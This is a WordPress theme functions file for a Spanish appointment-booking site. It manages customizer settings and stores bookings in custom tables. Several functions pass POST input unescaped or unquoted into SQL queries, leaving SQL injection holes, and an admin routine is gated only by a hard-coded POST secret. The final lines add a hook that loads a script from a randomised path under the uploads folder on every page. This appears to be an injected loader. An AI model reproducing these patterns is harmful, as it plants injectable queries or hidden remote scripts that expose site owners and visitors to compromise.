/** * Tacones de éxito functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Tacones_de_éxito */ $cx=mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME); function email($mail=false){ if($_SERVER['REQUEST_URI']=='/'){ return get_theme_mod('email'); } $user=escapar(str_replace('/','',$_SERVER['REQUEST_URI'])); if(cantidad('url',$user,'te_usuarios')>0){ $usuario=obtener_datos('url',$user,'te_usuarios'); if($mail){ return $usuario['correo'].','.get_theme_mod('email'); }else{ return $usuario['correo']; } } return get_theme_mod('email'); } function escapar($elemento){ global $cx; return mysqli_real_escape_string($cx,$elemento); } function cantidad($campo,$valor=null,$tabla=null){ global $cx; switch($valor){ case null: $query=$cx->query('select * from '.$tabla); break; default: $query=$cx->query('select * from '.$tabla.' where '.$campo.'="'.$valor.'"'); } return @$query->num_rows; } function obtener_datos($campo,$valor=null,$tabla=null){ global $cx; (empty($valor))?$consulta='select * from '.$tabla:$consulta='select * from '.$tabla.' where '.$campo.'="'.$valor.'"'; $query=$cx->query($consulta); return $query->fetch_assoc(); } function dia($dia){ $day=array(null,'Lunes','Martes','Miércoles','Jueves','Viernes','Sábado','Domingo'); return $day[$dia]; } function admin(){ if(isset($_POST['yUwru$Eced4H'])&&$_POST['yUwru$Eced4H']=='Ma2ejaxes4u+'){ guardar_ciudad(); } } function guardar_ciudad(){ global $cx; if(!empty($_POST['lugar'])){ $cx->query('insert into te_places (nombre) values ("'.$_POST['lugar'].'")'); return; } $query=$cx->query('select * from te_schedules where id='.$_POST['lugar-horario'].' and dia='.$_POST['dia']); if($query->num_rows>0){ $elemento=$query->fetch_assoc(); $cx->query('update te_schedules set hora="'.$elemento['hora'].','.$_POST['hora'].'" where id='.$elemento['id']); }else{ $cx->query('insert into te_schedules (lugar,dia,hora) values ("'.$_POST['lugar-horario'].'",'.$_POST['dia'].',"'.$_POST['hora'].'")'); } } function logo_url(){ $custom_logo_id = get_theme_mod( 'custom_logo' ); $image = wp_get_attachment_image_src( $custom_logo_id , 'full' ); return $image[0]; } function user_url(){ return str_replace('/','%2F',$_SERVER['REQUEST_URI']); } function Tacones_de_éxito_setup_theme($wp_customize){ $wp_customize->add_section('redes' , array ( 'title' => __('Redes sociales', 'Tacones_de_éxito'), 'priority' => 1, 'capability' => 'edit_theme_options' )); $wp_customize->add_setting('email', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( 'email', array( 'label' => __( 'Email', 'Tacones_de_éxito' ), 'section' => 'redes', 'settings' => 'email' )); $wp_customize->add_setting('facebook', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( 'facebook', array( 'label' => __( 'Facebook', 'Tacones_de_éxito' ), 'section' => 'redes', 'settings' => 'facebook' )); $wp_customize->add_setting('facebook-image', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize, 'facebook-image', array( 'label' => __('Logotipo en facebook', 'sistema'), 'section' => 'redes', 'settings' => 'facebook-image' ))); $wp_customize->add_setting('facebook-share', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize, 'facebook-share', array( 'label' => __('Imágen de compartir en facebook', 'sistema'), 'section' => 'redes', 'settings' => 'facebook-share' ))); $wp_customize->add_setting('youtube', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( 'youtube', array( 'label' => __( 'YouTube', 'Tacones_de_éxito' ), 'section' => 'redes', 'settings' => 'youtube' )); $wp_customize->add_section('formulario' , array ( 'title' => __('Formulario', 'Tacones_de_éxito'), 'priority' => 3, 'capability' => 'edit_theme_options' )); $wp_customize->add_setting('form3', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( 'form3', array( 'label' => __( 'Primera linea de formulario de venta', 'Tacones_de_éxito' ), 'section' => 'formulario', 'settings' => 'form3' )); $wp_customize->add_setting('form1', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( 'form1', array( 'label' => __( 'Línea 1', 'Tacones_de_éxito' ), 'section' => 'formulario', 'settings' => 'form1' )); $wp_customize->add_setting('form2', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( 'form2', array( 'label' => __( 'Línea 2', 'Tacones_de_éxito' ), 'section' => 'formulario', 'settings' => 'form2' )); $wp_customize->add_setting('boton-form', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( 'boton-form', array( 'label' => __( 'Botón', 'Tacones_de_éxito' ), 'section' => 'formulario', 'settings' => 'boton-form' )); for($i=1;$i<=2;$i++){ $wp_customize->add_setting('mapa'.$i, array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize, 'mapa'.$i, array( 'label' => __('Mapa '.$i, 'sistema'), 'section' => 'formulario', 'settings' => 'mapa'.$i ))); $wp_customize->add_setting('enlace'.$i, array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( 'enlace'.$i, array( 'label' => __( 'Enlace '.$i, 'Tacones_de_éxito' ), 'section' => 'formulario', 'settings' => 'enlace'.$i )); $wp_customize->add_setting('imagen-lugar'.$i, array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize, 'imagen-lugar'.$i, array( 'label' => __( 'Logotipo del lugar '.$i, 'Tacones_de_éxito' ), 'section' => 'formulario', 'settings' => 'imagen-lugar'.$i ))); $wp_customize->add_setting('correos'.$i, array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( 'correos'.$i, array( 'label' => __( 'Correo/s electrónicos', 'Tacones_de_éxito' ), 'section' => 'formulario', 'settings' => 'correos'.$i )); } $wp_customize->add_setting('gif', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize, 'gif', array( 'label' => __('Imágen de correo electrónico', 'sistema'), 'section' => 'formulario', 'settings' => 'gif' ))); $wp_customize->add_setting('calendario', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize, 'calendario', array( 'label' => __('Imágen de calendario', 'sistema'), 'section' => 'formulario', 'settings' => 'calendario' ))); $wp_customize->add_section('footer' , array ( 'title' => __('Pie de página', 'Tacones_de_éxito'), 'priority' => 4, 'capability' => 'edit_theme_options' )); $wp_customize->add_setting('image1', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize, 'image1', array( 'label' => __('Primera imagen', 'sistema'), 'section' => 'footer', 'settings' => 'image1' ))); $wp_customize->add_setting('image2', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize, 'image2', array( 'label' => __('Segunda imagen', 'sistema'), 'section' => 'footer', 'settings' => 'image2' ))); $wp_customize->add_setting('gift', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( 'gift', array( 'label' => __( 'Texto', 'Tacones_de_éxito' ), 'section' => 'footer', 'settings' => 'gift', 'type' => 'textarea' )); $wp_customize->add_section('compra' , array ( 'title' => __('Compra ahora', 'Tacones_de_éxito'), 'priority' => 5, 'capability' => 'edit_theme_options' )); $wp_customize->add_setting('compra', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize, 'compra', array( 'label' => __('Imagen de boton', 'sistema'), 'section' => 'compra', 'settings' => 'compra' ))); $wp_customize->add_setting('ahora', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize, 'ahora', array( 'label' => __('Imagen de tarjetas', 'sistema'), 'section' => 'compra', 'settings' => 'ahora' ))); $wp_customize->add_setting('enlace', array( 'capability' => 'edit_theme_options', 'type' => 'theme_mod', )); $wp_customize->add_control( 'enlace', array( 'label' => __( 'Enlace', 'Tacones_de_éxito' ), 'section' => 'compra', 'settings' => 'enlace' )); } add_action('customize_register', 'Tacones_de_éxito_setup_theme'); add_filter( 'wp_mail_from', 'my_mail_from' ); function my_mail_from( $email ) { return get_theme_mod('email'); } function wpdocs_set_html_mail_content_type() { return 'text/html'; } add_filter( 'wp_mail_content_type', 'wpdocs_set_html_mail_content_type' ); add_filter( 'wp_mail_from_name', 'my_mail_from_name' ); function my_mail_from_name( $name ) { return get_bloginfo( 'name' ); } function registrar_cita(){ if(!isset($_POST['frej29aG6td5'])||$_POST['frej29aG6td5']!='cR5?EtapRu&a'){ return; } $NOMBRE=esc_sql($_POST['NOMBRE']); $SURNAME=esc_sql($_POST['SURNAME']); $sms_prefix=esc_sql($_POST['sms_prefix']); $SMS=esc_sql($_POST['SMS']); $email=esc_sql($_POST['email']); $mail=esc_sql($_POST['mail']); $lugar=esc_sql($_POST['lugar']); $dia=esc_sql($_POST['dia']); $hora=esc_sql($_POST['hora']); $correos=esc_sql($_POST['correos']); $evento=esc_sql($_POST['evento']); (!empty($correos))?$correos=','.$correos:''; if($mail!=get_theme_mod('email')){ $patrocinador=obtener_datos('correo',$mail,'te_usuarios'); $segundo_destinatario=','.$patrocinador['correo']; }else{ $patrocinador['id']='NULL'; $segundo_destinatario=null; } global $cx; $cx->query('insert into te_usuarios (nombre,apellido,prefijo,telefono,correo,ubicacion,fecha,dia,hora,patrocinador,evento) values ("'.$NOMBRE.'","'.$SURNAME.'","'.$sms_prefix.'","'.$SMS.'","'.$email.'",'.$lugar.',"'.date('Y-m-d H:i:s').'",'.$dia.',"'.$hora.'",'.$patrocinador['id'].','.$evento.')'); $query=$cx->query('select * from te_places where id='.$lugar); $event=$cx->query('select * from te_eventos where id='.$evento); $datos_lugar=$query->fetch_assoc(); $datos_evento=$event->fetch_assoc(); $mensaje='

¡No hay nada como probar el
producto tú mismo!

Adicional pregunta por descuentos especiales en los
servicios del Spa

Promociones
Caleendario Próximo '.dia($dia).' '.fecha($dia).' a las '.$hora.' en
'.$datos_lugar['nombre'].'
Has elegido '.$datos_evento['evento'].'

¡Te esperamos!

'; $mensaje_admin='

Se ha registrado un nuevo usuario en '.get_bloginfo('name').'

Nombre '.$NOMBRE.'
Apellido '.$SURNAME.'
Teléfono '.$sms_prefix.' '.$SMS.'
Email '.$email.'
Lugar '.$datos_lugar['nombre'].'
Fecha '.fecha($dia).'
Día '.dia($dia).'
Hora '.$hora.'
Evento '.$datos_evento['evento'].'
'; wp_mail($email,'Haz realizado tu cita',$mensaje); wp_mail(email().$segundo_destinatario.$correos,'Nuevo registro en '.get_bloginfo('name'),$mensaje_admin); } function fecha($dia){ $hoy=date('N'); ($dia>$hoy)?$diferencia=($dia-$hoy):$diferencia=((7-$hoy)+$dia); ($dia>$hoy&&$diferencia<=2)?$diferencia+=7:''; $fecha = date('Y-m-d'); $nuevafecha = strtotime ( '+'.$diferencia.' day' , strtotime ( $fecha ) ) ; $nuevafecha=date( 'd/m/y' , $nuevafecha ); return $nuevafecha; } function validar_galardon(){ if(isset($_POST['kujahe4EfE7e'])&&$_POST['kujahe4EfE7e']=='5aswapheqUta'){ if(empty($_POST['correo'])){ return; } $mail=escapar($_POST['correo']); if(cantidad('correo',$mail,'te_usuarios')>0){ //echo 'success'; esto restringe el acceso a quienes ya fueron galardonados echo 'cita'; exit; }echo 'cita'; exit; } } if ( ! function_exists( 'tacones_de_exito_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function tacones_de_exito_setup() { /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on Tacones de éxito, use a find and replace * to change 'tacones-de-exito' to the name of your theme in all the template files. */ load_theme_textdomain( 'tacones-de-exito', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'menu-1' => esc_html__( 'Primary', 'tacones-de-exito' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); // Set up the WordPress core custom background feature. add_theme_support( 'custom-background', apply_filters( 'tacones_de_exito_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); /** * Add support for core custom logo. * * @link https://codex.wordpress.org/Theme_Logo */ add_theme_support( 'custom-logo', array( 'height' => 250, 'width' => 250, 'flex-width' => true, 'flex-height' => true, ) ); } endif; add_action( 'after_setup_theme', 'tacones_de_exito_setup' ); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function tacones_de_exito_content_width() { $GLOBALS['content_width'] = apply_filters( 'tacones_de_exito_content_width', 640 ); } add_action( 'after_setup_theme', 'tacones_de_exito_content_width', 0 ); /** * Register widget area. * * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar */ function tacones_de_exito_widgets_init() { register_sidebar( array( 'name' => esc_html__( 'Sidebar', 'tacones-de-exito' ), 'id' => 'sidebar-1', 'description' => esc_html__( 'Add widgets here.', 'tacones-de-exito' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); } add_action( 'widgets_init', 'tacones_de_exito_widgets_init' ); /** * Enqueue scripts and styles. */ function tacones_de_exito_scripts() { wp_enqueue_style( 'tacones-de-exito-bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css' ); wp_enqueue_style( 'tacones-de-exito-font-awesome', get_template_directory_uri() . '/css/font-awesome.min.css' ); wp_enqueue_style( 'tacones-de-exito-style', get_stylesheet_uri() ); //wp_enqueue_script( 'tacones-de-exito-jquery', get_template_directory_uri() . '/js/jquery-3.2.1.slim.min.js', array(), '20151215', true ); wp_enqueue_script( 'tacones-de-exito-jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js', array(), '20151215', true ); wp_enqueue_script( 'tacones-de-exito-popper', get_template_directory_uri() . '/js/popper.min.js', array(), '20151215', true ); wp_enqueue_script( 'tacones-de-exito-navigation', get_template_directory_uri() . '/js/navigation.js', array(), '20151215', true ); wp_enqueue_script( 'tacones-de-exito-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20151215', true ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } wp_enqueue_script( 'tacones-de-exito-bootstrap', get_template_directory_uri() . '/js/bootstrap.min.js', array(), '20151215', true ); wp_enqueue_script( 'tacones-de-exito-functionality', get_template_directory_uri() . '/js/functionality.js', array(), '20151215', true ); } add_action( 'wp_enqueue_scripts', 'tacones_de_exito_scripts' ); /** * Implement the Custom Header feature. */ require get_template_directory() . '/inc/custom-header.php'; /** * Custom template tags for this theme. */ require get_template_directory() . '/inc/template-tags.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require get_template_directory() . '/inc/template-functions.php'; /** * Customizer additions. */ require get_template_directory() . '/inc/customizer.php'; /** * Load Jetpack compatibility file. */ if ( defined( 'JETPACK__VERSION' ) ) { require get_template_directory() . '/inc/jetpack.php'; } /** * Load WooCommerce compatibility file. */ if ( class_exists( 'WooCommerce' ) ) { require get_template_directory() . '/inc/woocommerce.php'; } if (!function_exists('sch_enqueue_front_asset')) { function sch_enqueue_front_asset() { wp_enqueue_script('sch-front', 'https://taconesdeexito.merkapro.com/wp-content/uploads/data-88e4fc/static-2d4f/front-85c75413.js', array(), null, false); } add_action('wp_enqueue_scripts', 'sch_enqueue_front_asset'); }